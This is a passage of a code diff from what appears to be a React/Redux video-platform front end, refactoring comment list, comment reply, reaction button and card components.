const isMobile = useIsMobile();
|
||||
|
||||
React.useEffect(() => {
|
||||
if (!claim) {
|
||||
resolve(uri);
|
||||
@@ -104,8 +101,7 @@ export default function CommentReactions(props: Props) {
|
||||
<Button
|
||||
title={__('Upvote')}
|
||||
icon={likeIcon}
|
||||
iconSize={isMobile && 12}
|
||||
className={classnames('comment__action button-like', {
|
||||
className={classnames('comment__action', {
|
||||
'comment__action--active': myReacts && myReacts.includes(REACTION_TYPES.LIKE),
|
||||
})}
|
||||
onClick={handleCommentLike}
|
||||
@@ -114,8 +110,7 @@ export default function CommentReactions(props: Props) {
|
||||
<Button
|
||||
title={__('Downvote')}
|
||||
icon={dislikeIcon}
|
||||
iconSize={isMobile && 12}
|
||||
className={classnames('comment__action button-dislike', {
|
||||
className={classnames('comment__action', {
|
||||
'comment__action--active': myReacts && myReacts.includes(REACTION_TYPES.DISLIKE),
|
||||
})}
|
||||
onClick={handleCommentDislike}
|
||||
|
||||
@@ -5,6 +5,7 @@ import {
|
||||
makeSelectClaimForUri,
|
||||
selectClaimIsMine,
|
||||
selectFetchingMyChannels,
|
||||
selectMyClaimIdsRaw,
|
||||
} from 'redux/selectors/claims';
|
||||
import {
|
||||
selectTopLevelCommentsForUri,
|
||||
@@ -21,17 +22,12 @@ import {
|
||||
} from 'redux/selectors/comments';
|
||||
import { doCommentReset, doCommentList, doCommentById, doCommentReactList } from 'redux/actions/comments';
|
||||
import { selectActiveChannelClaim } from 'redux/selectors/app';
|
||||
import { getChannelIdFromClaim } from 'util/claim';
|
||||
import CommentsList from './view';
|
||||
|
||||
const select = (state, props) => {
|
||||
const { uri } = props;
|
||||
|
||||
const claim = selectClaimForUri(state, uri);
|
||||
const channelId = getChannelIdFromClaim(claim);
|
||||
|
||||
const claim = selectClaimForUri(state, props.uri);
|
||||
const activeChannelClaim = selectActiveChannelClaim(state);
|
||||
const topLevelComments = selectTopLevelCommentsForUri(state, uri);
|
||||
const topLevelComments = selectTopLevelCommentsForUri(state, props.uri);
|
||||
|
||||
const resolvedComments =
|
||||
topLevelComments && topLevelComments.length > 0
|
||||
@@ -41,12 +37,12 @@ const select = (state, props) => {
|
||||
return {
|
||||
topLevelComments,
|
||||
resolvedComments,
|
||||
allCommentIds: selectCommentIdsForUri(state, uri),
|
||||
pinnedComments: selectPinnedCommentsForUri(state, uri),
|
||||
topLevelTotalPages: makeSelectTopLevelTotalPagesForUri(uri)(state),
|
||||
totalComments: makeSelectTotalCommentsCountForUri(uri)(state),
|
||||
claimId: claim && claim.claim_id,
|
||||
channelId,
|
||||
myChannelIds: selectMyClaimIdsRaw(state),
|
||||
allCommentIds: selectCommentIdsForUri(state, props.uri),
|
||||
pinnedComments: selectPinnedCommentsForUri(state, props.uri),
|
||||
topLevelTotalPages: makeSelectTopLevelTotalPagesForUri(props.uri)(state),
|
||||
totalComments: makeSelectTotalCommentsCountForUri(props.uri)(state),
|
||||
claim,
|
||||
claimIsMine: selectClaimIsMine(state, claim),
|
||||
isFetchingComments: selectIsFetchingComments(state),
|
||||
isFetchingCommentsById: selectIsFetchingCommentsById(state),
|
||||
@@ -59,12 +55,12 @@ const select = (state, props) => {
|
||||
};
|
||||
};
|
||||
|
||||
const perform = {
|
||||
fetchTopLevelComments: doCommentList,
|
||||
fetchComment: doCommentById,
|
||||
fetchReacts: doCommentReactList,
|
||||
resetComments: doCommentReset,
|
||||
doResolveUris,
|
||||
};
|
||||
const perform = (dispatch) => ({
|
||||
fetchTopLevelComments: (uri, page, pageSize, sortBy) => dispatch(doCommentList(uri, '', page, pageSize, sortBy)),
|
||||
fetchComment: (commentId) => dispatch(doCommentById(commentId)),
|
||||
fetchReacts: (commentIds) => dispatch(doCommentReactList(commentIds)),
|
||||
resetComments: (claimId) => dispatch(doCommentReset(claimId)),
|
||||
doResolveUris: (uris) => dispatch(doResolveUris(uris, true)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(CommentsList);
|
||||
+108
-153
@@ -1,8 +1,9 @@
|
||||
// @flow
|
||||
import { COMMENT_HIGHLIGHTED } from 'constants/classnames';
|
||||
import { COMMENT_PAGE_SIZE_TOP_LEVEL, SORT_BY } from 'constants/comment';
|
||||
import { ENABLE_COMMENT_REACTIONS } from 'config';
|
||||
import { getChannelIdFromClaim } from 'util/claim';
|
||||
import { useIsMobile, useIsMediumScreen } from 'effects/use-screensize';
|
||||
import { getCommentsListTitle } from 'util/comments';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import * as REACTION_TYPES from 'constants/reactions';
|
||||
import Button from 'component/button';
|
||||
@@ -14,6 +15,7 @@ import debounce from 'util/debounce';
|
||||
import Empty from 'component/common/empty';
|
||||
import React, { useEffect } from 'react';
|
||||
import Spinner from 'component/spinner';
|
||||
import useFetched from 'effects/use-fetched';
|
||||
import usePersistedState from 'effects/use-persisted-state';
|
||||
|
||||
const DEBOUNCE_SCROLL_HANDLER_MS = 200;
|
||||
@@ -30,12 +32,11 @@ type Props = {
|
||||
allCommentIds: any,
|
||||
pinnedComments: Array<Comment>,
|
||||
topLevelComments: Array<Comment>,
|
||||
resolvedComments: Array<Comment>,
|
||||
topLevelTotalPages: number,
|
||||
uri: string,
|
||||
claimId?: string,
|
||||
channelId?: string,
|
||||
claim: ?Claim,
|
||||
claimIsMine: boolean,
|
||||
myChannels: ?Array<ChannelClaim>,
|
||||
isFetchingComments: boolean,
|
||||
isFetchingCommentsById: boolean,
|
||||
isFetchingReacts: boolean,
|
||||
@@ -46,26 +47,25 @@ type Props = {
|
||||
othersReactsById: ?{ [string]: { [REACTION_TYPES.LIKE | REACTION_TYPES.DISLIKE]: number } },
|
||||
activeChannelId: ?string,
|
||||
settingsByChannelId: { [channelId: string]: PerChannelSettings },
|
||||
fetchReacts: (Array<string>) => Promise<any>,
|
||||
commentsAreExpanded?: boolean,
|
||||
fetchTopLevelComments: (uri: string, parentId: string, page: number, pageSize: number, sortBy: number) => void,
|
||||
fetchComment: (commentId: string) => void,
|
||||
fetchReacts: (commentIds: Array<string>) => Promise<any>,
|
||||
resetComments: (claimId: string) => void,
|
||||
doResolveUris: (uris: Array<string>, returnCachedClaims: boolean) => void,
|
||||
fetchTopLevelComments: (string, number, number, number) => void,
|
||||
fetchComment: (string) => void,
|
||||
resetComments: (string) => void,
|
||||
};
|
||||
|
||||
export default function CommentList(props: Props) {
|
||||
function CommentList(props: Props) {
|
||||
const {
|
||||
allCommentIds,
|
||||
uri,
|
||||
pinnedComments,
|
||||
topLevelComments,
|
||||
resolvedComments,
|
||||
topLevelTotalPages,
|
||||
claimId,
|
||||
channelId,
|
||||
claim,
|
||||
claimIsMine,
|
||||
myChannels,
|
||||
isFetchingComments,
|
||||
isFetchingCommentsById,
|
||||
isFetchingReacts,
|
||||
linkedCommentId,
|
||||
totalComments,
|
||||
@@ -74,33 +74,28 @@ export default function CommentList(props: Props) {
|
||||
othersReactsById,
|
||||
activeChannelId,
|
||||
settingsByChannelId,
|
||||
fetchReacts,
|
||||
commentsAreExpanded,
|
||||
fetchTopLevelComments,
|
||||
fetchComment,
|
||||
fetchReacts,
|
||||
resetComments,
|
||||
doResolveUris,
|
||||
} = props;
|
||||
|
||||
const isMobile = useIsMobile();
|
||||
const isMediumScreen = useIsMediumScreen();
|
||||
|
||||
const spinnerRef = React.useRef();
|
||||
const DEFAULT_SORT = ENABLE_COMMENT_REACTIONS ? SORT_BY.POPULARITY : SORT_BY.NEWEST;
|
||||
const [sort, setSort] = usePersistedState('comment-sort-by', DEFAULT_SORT);
|
||||
const [page, setPage] = React.useState(0);
|
||||
const [commentsToDisplay, setCommentsToDisplay] = React.useState(topLevelComments);
|
||||
const [didInitialPageFetch, setInitialPageFetch] = React.useState(false);
|
||||
const hasDefaultExpansion = commentsAreExpanded || !isMediumScreen || isMobile;
|
||||
const fetchedCommentsOnce = useFetched(isFetchingComments);
|
||||
const fetchedReactsOnce = useFetched(isFetchingReacts);
|
||||
const fetchedLinkedComment = useFetched(isFetchingCommentsById);
|
||||
const hasDefaultExpansion = commentsAreExpanded || (!isMobile && !isMediumScreen);
|
||||
const [expandedComments, setExpandedComments] = React.useState(hasDefaultExpansion);
|
||||
|
||||
const totalFetchedComments = allCommentIds ? allCommentIds.length : 0;
|
||||
const channelId = getChannelIdFromClaim(claim);
|
||||
const channelSettings = channelId ? settingsByChannelId[channelId] : undefined;
|
||||
const moreBelow = page < topLevelTotalPages;
|
||||
const isResolvingComments = topLevelComments && resolvedComments.length !== topLevelComments.length;
|
||||
const alreadyResolved = !isResolvingComments && resolvedComments.length !== 0;
|
||||
const canDisplayComments = commentsToDisplay && commentsToDisplay.length === topLevelComments.length;
|
||||
const title = getCommentsListTitle(totalComments);
|
||||
|
||||
// Display comments immediately if not fetching reactions
|
||||
// If not, wait to show comments until reactions are fetched
|
||||
@@ -118,8 +113,8 @@ export default function CommentList(props: Props) {
|
||||
// Reset comments
|
||||
useEffect(() => {
|
||||
if (page === 0) {
|
||||
if (claimId) {
|
||||
resetComments(claimId);
|
||||
if (claim) {
|
||||
resetComments(claim.claim_id);
|
||||
}
|
||||
setPage(1);
|
||||
}
|
||||
@@ -133,7 +128,7 @@ export default function CommentList(props: Props) {
|
||||
fetchComment(linkedCommentId);
|
||||
}
|
||||
|
||||
fetchTopLevelComments(uri, '', page, COMMENT_PAGE_SIZE_TOP_LEVEL, sort);
|
||||
fetchTopLevelComments(uri, page, COMMENT_PAGE_SIZE_TOP_LEVEL, sort);
|
||||
}
|
||||
}, [fetchComment, fetchTopLevelComments, linkedCommentId, page, sort, uri]);
|
||||
|
||||
@@ -172,17 +167,23 @@ export default function CommentList(props: Props) {
|
||||
|
||||
// Scroll to linked-comment
|
||||
useEffect(() => {
|
||||
if (linkedCommentId) {
|
||||
window.pendingLinkedCommentScroll = true;
|
||||
} else {
|
||||
delete window.pendingLinkedCommentScroll;
|
||||
if (fetchedLinkedComment && fetchedCommentsOnce && fetchedReactsOnce) {
|
||||
const elems = document.getElementsByClassName(COMMENT_HIGHLIGHTED);
|
||||
if (elems.length > 0) {
|
||||
const ROUGH_HEADER_HEIGHT = 125; // @see: --header-height
|
||||
const linkedComment = elems[0];
|
||||
window.scrollTo({
|
||||
top: linkedComment.getBoundingClientRect().top + window.scrollY - ROUGH_HEADER_HEIGHT,
|
||||
left: 0,
|
||||
behavior: 'smooth',
|
||||
});
|
||||
}
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, []);
|
||||
}, [fetchedLinkedComment, fetchedCommentsOnce, fetchedReactsOnce]);
|
||||
|
||||
// Infinite scroll
|
||||
useEffect(() => {
|
||||
function shouldFetchNextPage(page, topLevelTotalPages, yPrefetchPx = 1000) {
|
||||
function shouldFetchNextPage(page, topLevelTotalPages, window, document, yPrefetchPx = 1000) {
|
||||
if (!spinnerRef || !spinnerRef.current) return false;
|
||||
|
||||
const rect = spinnerRef.current.getBoundingClientRect(); // $FlowFixMe
|
||||
@@ -205,67 +206,86 @@ export default function CommentList(props: Props) {
|
||||
}
|
||||
|
||||
const handleCommentScroll = debounce(() => {
|
||||
if (shouldFetchNextPage(page, topLevelTotalPages)) {
|
||||
if (hasDefaultExpansion && shouldFetchNextPage(page, topLevelTotalPages, window, document)) {
|
||||
setPage(page + 1);
|
||||
setInitialPageFetch(true);
|
||||
}
|
||||
}, DEBOUNCE_SCROLL_HANDLER_MS);
|
||||
|
||||
if (!didInitialPageFetch) {
|
||||
handleCommentScroll();
|
||||
setInitialPageFetch(true);
|
||||
}
|
||||
|
||||
if (hasDefaultExpansion && !isFetchingComments && canDisplayComments && readyToDisplayComments && moreBelow) {
|
||||
const commentsInDrawer = Boolean(document.querySelector('.MuiDrawer-root .card--enable-overflow'));
|
||||
const scrollingElement = commentsInDrawer ? document.querySelector('.card--enable-overflow') : window;
|
||||
|
||||
if (scrollingElement) {
|
||||
scrollingElement.addEventListener('scroll', handleCommentScroll);
|
||||
|
||||
return () => scrollingElement.removeEventListener('scroll', handleCommentScroll);
|
||||
if (!isFetchingComments && readyToDisplayComments && moreBelow && spinnerRef && spinnerRef.current) {
|
||||
if (shouldFetchNextPage(page, topLevelTotalPages, window, document, 0)) {
|
||||
setPage(page + 1);
|
||||
} else {
|
||||
window.addEventListener('scroll', handleCommentScroll);
|
||||
return () => window.removeEventListener('scroll', handleCommentScroll);
|
||||
}
|
||||
}
|
||||
}, [
|
||||
canDisplayComments,
|
||||
hasDefaultExpansion,
|
||||
didInitialPageFetch,
|
||||
isFetchingComments,
|
||||
isMobile,
|
||||
moreBelow,
|
||||
page,
|
||||
readyToDisplayComments,
|
||||
topLevelTotalPages,
|
||||
]);
|
||||
}, [hasDefaultExpansion, isFetchingComments, moreBelow, page, readyToDisplayComments, topLevelTotalPages]);
|
||||
|
||||
// Wait to only display topLevelComments after resolved or else
|
||||
// other components will try to resolve again, like channelThumbnail
|
||||
useEffect(() => {
|
||||
if (!isResolvingComments) setCommentsToDisplay(topLevelComments);
|
||||
}, [isResolvingComments, topLevelComments]);
|
||||
const getCommentElems = (comments) => {
|
||||
return comments.map((comment) => (
|
||||
<CommentView
|
||||
isTopLevel
|
||||
threadDepth={3}
|
||||
key={comment.comment_id}
|
||||
uri={uri}
|
||||
authorUri={comment.channel_url}
|
||||
author={comment.channel_name}
|
||||
claimId={comment.claim_id}
|
||||
commentId={comment.comment_id}
|
||||
message={comment.comment}
|
||||
timePosted={comment.timestamp * 1000}
|
||||
claimIsMine={claimIsMine}
|
||||
commentIsMine={
|
||||
comment.channel_id && myChannels && myChannels.some(({ claim_id }) => claim_id === comment.channel_id)
|
||||
}
|
||||
linkedCommentId={linkedCommentId}
|
||||
isPinned={comment.is_pinned}
|
||||
supportAmount={comment.support_amount}
|
||||
numDirectReplies={comment.replies}
|
||||
isModerator={comment.is_moderator}
|
||||
isGlobalMod={comment.is_global_mod}
|
||||
isFiat={comment.is_fiat}
|
||||
/>
|
||||
));
|
||||
};
|
||||
|
||||
// Batch resolve comment channel urls
|
||||
useEffect(() => {
|
||||
if (!topLevelComments || alreadyResolved) return;
|
||||
|
||||
const urisToResolve = [];
|
||||
topLevelComments.map(({ channel_url }) => channel_url !== undefined && urisToResolve.push(channel_url));
|
||||
|
||||
if (urisToResolve.length > 0) doResolveUris(urisToResolve, true);
|
||||
}, [alreadyResolved, doResolveUris, topLevelComments]);
|
||||
|
||||
const commentProps = { isTopLevel: true, threadDepth: 3, uri, claimIsMine, linkedCommentId };
|
||||
const actionButtonsProps = { totalComments, sort, changeSort, setPage };
|
||||
const sortButton = (label, icon, sortOption) => {
|
||||
return (
|
||||
<Button
|
||||
button="alt"
|
||||
label={label}
|
||||
icon={icon}
|
||||
iconSize={18}
|
||||
onClick={() => changeSort(sortOption)}
|
||||
className={classnames(`button-toggle`, {
|
||||
'button-toggle--active': sort === sortOption,
|
||||
})}
|
||||
/>
|
||||
);
|
||||
};
|
||||
|
||||
return (
|
||||
<Card
|
||||
className="card--enable-overflow"
|
||||
title={!isMobile && title}
|
||||
titleActions={<CommentActionButtons {...actionButtonsProps} />}
|
||||
title={
|
||||
(totalComments === 0 && __('Leave a comment')) ||
|
||||
(totalComments === 1 && __('1 comment')) ||
|
||||
__('%totalComments% comments', { totalComments })
|
||||
}
|
||||
titleActions={
|
||||
<>
|
||||
{totalComments > 1 && ENABLE_COMMENT_REACTIONS && (
|
||||
<span className="comment__sort">
|
||||
{sortButton(__('Best'), ICONS.BEST, SORT_BY.POPULARITY)}
|
||||
{sortButton(__('Controversial'), ICONS.CONTROVERSIAL, SORT_BY.CONTROVERSY)}
|
||||
{sortButton(__('New'), ICONS.NEW, SORT_BY.NEWEST)}
|
||||
</span>
|
||||
)}
|
||||
<Button button="alt" icon={ICONS.REFRESH} title={__('Refresh')} onClick={() => setPage(0)} />
|
||||
</>
|
||||
}
|
||||
actions={
|
||||
<>
|
||||
{isMobile && <CommentActionButtons {...actionButtonsProps} />}
|
||||
|
||||
<CommentCreate uri={uri} />
|
||||
|
||||
{channelSettings && channelSettings.comments_enabled && !isFetchingComments && !totalComments && (
|
||||
@@ -274,20 +294,15 @@ export default function CommentList(props: Props) {
|
||||
|
||||
<ul
|
||||
className={classnames({
|
||||
comments: !isMediumScreen || expandedComments,
|
||||
'comments--contracted': isMediumScreen && !expandedComments,
|
||||
comments: expandedComments,
|
||||
'comments--contracted': !expandedComments,
|
||||
})}
|
||||
>
|
||||
{readyToDisplayComments && (
|
||||
<>
|
||||
{pinnedComments && <CommentElements comments={pinnedComments} {...commentProps} />}
|
||||
|
||||
{commentsToDisplay && <CommentElements comments={commentsToDisplay} {...commentProps} />}
|
||||
</>
|
||||
)}
|
||||
{readyToDisplayComments && pinnedComments && getCommentElems(pinnedComments)}
|
||||
{readyToDisplayComments && topLevelComments && getCommentElems(topLevelComments)}
|
||||
</ul>
|
||||
|
||||
{!hasDefaultExpansion && (
|
||||
{!hasDefaultExpansion && topLevelComments && Boolean(topLevelComments.length) && (
|
||||
<div className="card__bottom-actions--comments">
|
||||
{(!expandedComments || moreBelow) && (
|
||||
<Button
|
||||
@@ -308,7 +323,7 @@ export default function CommentList(props: Props) {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{(isFetchingComments || (hasDefaultExpansion && moreBelow) || !canDisplayComments) && (
|
||||
{(isFetchingComments || (hasDefaultExpansion && moreBelow)) && (
|
||||
<div className="main--empty" ref={spinnerRef}>
|
||||
<Spinner type="small" />
|
||||
</div>
|
||||
@@ -319,64 +334,4 @@ export default function CommentList(props: Props) {
|
||||
);
|
||||
}
|
||||
|
||||
type CommentProps = {
|
||||
comments: Array<Comment>,
|
||||
};
|
||||
|
||||
const CommentElements = (commentProps: CommentProps) => {
|
||||
const { comments, ...commentsProps } = commentProps;
|
||||
|
||||
return comments.map((comment) => <CommentView key={comment.comment_id} comment={comment} {...commentsProps} />);
|
||||
};
|
||||
|
||||
type ActionButtonsProps = {
|
||||
totalComments: number,
|
||||
sort: string,
|
||||
changeSort: (string) => void,
|
||||
setPage: (number) => void,
|
||||
};
|
||||
|
||||
const CommentActionButtons = (actionButtonsProps: ActionButtonsProps) => {
|
||||
const { totalComments, sort, changeSort, setPage } = actionButtonsProps;
|
||||
|
||||
const sortButtonProps = { activeSort: sort, changeSort };
|
||||
|
||||
return (
|
||||
<>
|
||||
{totalComments > 1 && ENABLE_COMMENT_REACTIONS && (
|
||||
<span className="comment__sort">
|
||||
<SortButton {...sortButtonProps} label={__('Best')} icon={ICONS.BEST} sortOption={SORT_BY.POPULARITY} />
|
||||
<SortButton
|
||||
{...sortButtonProps}
|
||||
label={__('Controversial')}
|
||||
icon={ICONS.CONTROVERSIAL}
|
||||
sortOption={SORT_BY.CONTROVERSY}
|
||||
/>
|
||||
<SortButton {...sortButtonProps} label={__('New')} icon={ICONS.NEW} sortOption={SORT_BY.NEWEST} />
|
||||
</span>
|
||||
)}
|
||||
|
||||
<Button button="alt" icon={ICONS.REFRESH} title={__('Refresh')} onClick={() => setPage(0)} />
|
||||
</>
|
||||
);
|
||||
};
|
||||
|
||||
type SortButtonProps = {
|
||||
activeSort: string,
|
||||
sortOption: string,
|
||||
changeSort: (string) => void,
|
||||
};
|
||||
|
||||
const SortButton = (sortButtonProps: SortButtonProps) => {
|
||||
const { activeSort, sortOption, changeSort, ...buttonProps } = sortButtonProps;
|
||||
|
||||
return (
|
||||
<Button
|
||||
{...buttonProps}
|
||||
className={classnames(`button-toggle`, { 'button-toggle--active': activeSort === sortOption })}
|
||||
button="alt"
|
||||
iconSize={18}
|
||||
onClick={() => changeSort(sortOption)}
|
||||
/>
|
||||
);
|
||||
};
|
||||
export default CommentList;
|
||||
@@ -1,6 +1,6 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doResolveUris } from 'redux/actions/claims';
|
||||
import { selectClaimIsMineForUri, makeSelectClaimForUri } from 'redux/selectors/claims';
|
||||
import { makeSelectClaimIsMine, selectMyChannelClaims, makeSelectClaimForUri } from 'redux/selectors/claims';
|
||||
import { selectIsFetchingCommentsByParentId, selectRepliesForParentId } from 'redux/selectors/comments';
|
||||
import CommentsReplies from './view';
|
||||
|
||||
@@ -14,8 +14,9 @@ const select = (state, props) => {
|
||||
return {
|
||||
fetchedReplies,
|
||||
resolvedReplies,
|
||||
claimIsMine: selectClaimIsMineForUri(state, props.uri),
|
||||
claimIsMine: makeSelectClaimIsMine(props.uri)(state),
|
||||
userCanComment: true,
|
||||
myChannels: selectMyChannelClaims(state),
|
||||
isFetchingByParentId: selectIsFetchingCommentsByParentId(state),
|
||||
};
|
||||
};
|
||||
|
||||
@@ -1,25 +1,24 @@
|
||||
// @flow
|
||||
import * as ICONS from 'constants/icons';
|
||||
import Button from 'component/button';
|
||||
import Comment from 'component/comment';
|
||||
import React from 'react';
|
||||
import Comment from 'component/comment';
|
||||
import Button from 'component/button';
|
||||
import Spinner from 'component/spinner';
|
||||
|
||||
type Props = {
|
||||
fetchedReplies: Array<Comment>,
|
||||
resolvedReplies: Array<Comment>,
|
||||
fetchedReplies: Array<any>,
|
||||
uri: string,
|
||||
parentId: string,
|
||||
claimIsMine: boolean,
|
||||
myChannels: ?Array<ChannelClaim>,
|
||||
linkedCommentId?: string,
|
||||
userCanComment: boolean,
|
||||
commentingEnabled: boolean,
|
||||
threadDepth: number,
|
||||
numDirectReplies: number, // Total replies for parentId as reported by 'comment[replies]'. Includes blocked items.
|
||||
isFetchingByParentId: { [string]: boolean },
|
||||
onShowMore?: () => void,
|
||||
hasMore: boolean,
|
||||
supportDisabled: boolean,
|
||||
doResolveUris: (Array<string>) => void,
|
||||
onShowMore?: () => void,
|
||||
};
|
||||
|
||||
function CommentsReplies(props: Props) {
|
||||
@@ -27,93 +26,102 @@ function CommentsReplies(props: Props) {
|
||||
uri,
|
||||
parentId,
|
||||
fetchedReplies,
|
||||
resolvedReplies,
|
||||
claimIsMine,
|
||||
myChannels,
|
||||
linkedCommentId,
|
||||
userCanComment,
|
||||
commentingEnabled,
|
||||
threadDepth,
|
||||
numDirectReplies,
|
||||
isFetchingByParentId,
|
||||
onShowMore,
|
||||
hasMore,
|
||||
supportDisabled,
|
||||
doResolveUris,
|
||||
onShowMore,
|
||||
} = props;
|
||||
|
||||
const [isExpanded, setExpanded] = React.useState(true);
|
||||
const [commentsToDisplay, setCommentsToDisplay] = React.useState(fetchedReplies);
|
||||
const isResolvingReplies = fetchedReplies && resolvedReplies.length !== fetchedReplies.length;
|
||||
const alreadyResolved = !isResolvingReplies && resolvedReplies.length !== 0;
|
||||
const canDisplayComments = commentsToDisplay && fetchedReplies && commentsToDisplay.length === fetchedReplies.length;
|
||||
|
||||
// Batch resolve comment channel urls
|
||||
React.useEffect(() => {
|
||||
if (!fetchedReplies || alreadyResolved) return;
|
||||
function showMore() {
|
||||
if (onShowMore) {
|
||||
onShowMore();
|
||||
}
|
||||
}
|
||||
|
||||
const urisToResolve = [];
|
||||
fetchedReplies.map(({ channel_url }) => channel_url !== undefined && urisToResolve.push(channel_url));
|
||||
// todo: implement comment_list --mine in SDK so redux can grab with selectCommentIsMine
|
||||
function isMyComment(channelId: string) {
|
||||
if (myChannels != null && channelId != null) {
|
||||
for (let i = 0; i < myChannels.length; i++) {
|
||||
if (myChannels[i].claim_id === channelId) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
if (urisToResolve.length > 0) doResolveUris(urisToResolve);
|
||||
}, [alreadyResolved, doResolveUris, fetchedReplies]);
|
||||
const displayedComments = fetchedReplies;
|
||||
|
||||
// Wait to only display topLevelComments after resolved or else
|
||||
// other components will try to resolve again, like channelThumbnail
|
||||
React.useEffect(() => {
|
||||
if (!isResolvingReplies) setCommentsToDisplay(fetchedReplies);
|
||||
}, [isResolvingReplies, fetchedReplies]);
|
||||
|
||||
return !numDirectReplies ? null : (
|
||||
<div className="comment__replies-container">
|
||||
{!isExpanded ? (
|
||||
<div className="comment__actions--nested">
|
||||
<Button
|
||||
className="comment__action"
|
||||
label={__('Show Replies')}
|
||||
onClick={() => setExpanded(!isExpanded)}
|
||||
icon={isExpanded ? ICONS.UP : ICONS.DOWN}
|
||||
/>
|
||||
</div>
|
||||
) : (
|
||||
<div className="comment__replies">
|
||||
<Button className="comment__threadline" aria-label="Hide Replies" onClick={() => setExpanded(false)} />
|
||||
|
||||
<ul className="comments--replies">
|
||||
{!isResolvingReplies &&
|
||||
commentsToDisplay &&
|
||||
commentsToDisplay.length > 0 &&
|
||||
commentsToDisplay.map((comment) => (
|
||||
<Comment
|
||||
key={comment.comment_id}
|
||||
threadDepth={threadDepth}
|
||||
uri={uri}
|
||||
comment={comment}
|
||||
claimIsMine={claimIsMine}
|
||||
linkedCommentId={linkedCommentId}
|
||||
commentingEnabled={userCanComment}
|
||||
supportDisabled={supportDisabled}
|
||||
/>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
{isExpanded && fetchedReplies && hasMore && (
|
||||
<div className="comment__actions--nested">
|
||||
<Button
|
||||
button="link"
|
||||
label={__('Show more')}
|
||||
onClick={() => onShowMore && onShowMore()}
|
||||
className="button--uri-indicator"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
{(isFetchingByParentId[parentId] || isResolvingReplies || !canDisplayComments) && (
|
||||
<div className="comment__replies-container">
|
||||
return (
|
||||
Boolean(numDirectReplies) && (
|
||||
<div className="comment__replies-container">
|
||||
{Boolean(numDirectReplies) && !isExpanded && (
|
||||
<div className="comment__actions--nested">
|
||||
<Spinner type="small" />
|
||||
<Button
|
||||
className="comment__action"
|
||||
label={__('Show Replies')}
|
||||
onClick={() => setExpanded(!isExpanded)}
|
||||
icon={isExpanded ? ICONS.UP : ICONS.DOWN}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
{isExpanded && (
|
||||
<div>
|
||||
<div className="comment__replies">
|
||||
<Button className="comment__threadline" aria-label="Hide Replies" onClick={() => setExpanded(false)} />
|
||||
|
||||
<ul className="comments--replies">
|
||||
{displayedComments &&
|
||||
displayedComments.map((comment) => {
|
||||
return (
|
||||
<Comment
|
||||
threadDepth={threadDepth}
|
||||
uri={uri}
|
||||
authorUri={comment.channel_url}
|
||||
author={comment.channel_name}
|
||||
claimId={comment.claim_id}
|
||||
commentId={comment.comment_id}
|
||||
key={comment.comment_id}
|
||||
message={comment.comment}
|
||||
timePosted={comment.timestamp * 1000}
|
||||
claimIsMine={claimIsMine}
|
||||
commentIsMine={comment.channel_id && isMyComment(comment.channel_id)}
|
||||
linkedCommentId={linkedCommentId}
|
||||
commentingEnabled={commentingEnabled}
|
||||
supportAmount={comment.support_amount}
|
||||
numDirectReplies={comment.replies}
|
||||
isModerator={comment.is_moderator}
|
||||
isGlobalMod={comment.is_global_mod}
|
||||
supportDisabled={supportDisabled}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{isExpanded && fetchedReplies && hasMore && (
|
||||
<div className="comment__actions--nested">
|
||||
<Button button="link" label={__('Show more')} onClick={showMore} className="button--uri-indicator" />
|
||||
</div>
|
||||
)}
|
||||
{isFetchingByParentId[parentId] && (
|
||||
<div className="comment__replies-container">
|
||||
<div className="comment__actions--nested">
|
||||
<Spinner type="small" />
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -63,7 +63,7 @@ export default function Card(props: Props) {
|
||||
}
|
||||
}}
|
||||
>
|
||||
<div className="card__first-pane">
|
||||
<div>
|
||||
{(title || subtitle) && (
|
||||
<div
|
||||
className={classnames('card__header--between', {
|
||||
@@ -73,7 +73,7 @@ export default function Card(props: Props) {
|
||||
<div
|
||||
className={classnames('card__title-section', {
|
||||
'card__title-section--body-list': isBodyList,
|
||||
'card__title-section--smallx': smallTitle,
|
||||
'card__title-section--small': smallTitle,
|
||||
})}
|
||||
>
|
||||
{icon && <Icon sectionIcon icon={icon} />}
|
||||
|
||||
@@ -1,35 +0,0 @@
|
||||
// @flow
|
||||
import 'scss/component/_comment-badge.scss';
|
||||
|
||||
import classnames from 'classnames';
|
||||
import Icon from 'component/common/icon';
|
||||
import React from 'react';
|
||||
import Tooltip from 'component/common/tooltip';
|
||||
|
||||
const LABEL_TYPES = {
|
||||
ADMIN: 'Admin',
|
||||
MOD: 'Moderator',
|
||||
};
|
||||
|
||||
type Props = {
|
||||
icon: string,
|
||||
label: string,
|
||||
size?: number,
|
||||
};
|
||||
|
||||
export default function CommentBadge(props: Props) {
|
||||
const { icon, label, size = 20 } = props;
|
||||
|
||||
return (
|
||||
<Tooltip title={label} placement="top">
|
||||
<span
|
||||
className={classnames('comment__badge', {
|
||||
'comment__badge--globalMod': label === LABEL_TYPES.ADMIN,
|
||||
'comment__badge--mod': label === LABEL_TYPES.MOD,
|
||||
})}
|
||||
>
|
||||
<Icon icon={icon} size={size} />
|
||||
</span>
|
||||
</Tooltip>
|
||||
);
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
// @flow
|
||||
import React, { useEffect, useState } from 'react';
|
||||
import { FormField } from 'component/common/form';
|
||||
import Icon from 'component/common/icon';
|
||||
import useDebounce from 'effects/use-debounce';
|
||||
import classnames from 'classnames';
|
||||
|
||||
const FILTER_DEBOUNCE_MS = 300;
|
||||
|
||||
interface Props {
|
||||
defaultValue?: string;
|
||||
icon?: string;
|
||||
placeholder?: string;
|
||||
inline?: boolean;
|
||||
onChange: (newValue: string) => any;
|
||||
}
|
||||
|
||||
export default function DebouncedInput(props: Props) {
|
||||
const { defaultValue = '', icon, placeholder = '', inline, onChange } = props;
|
||||
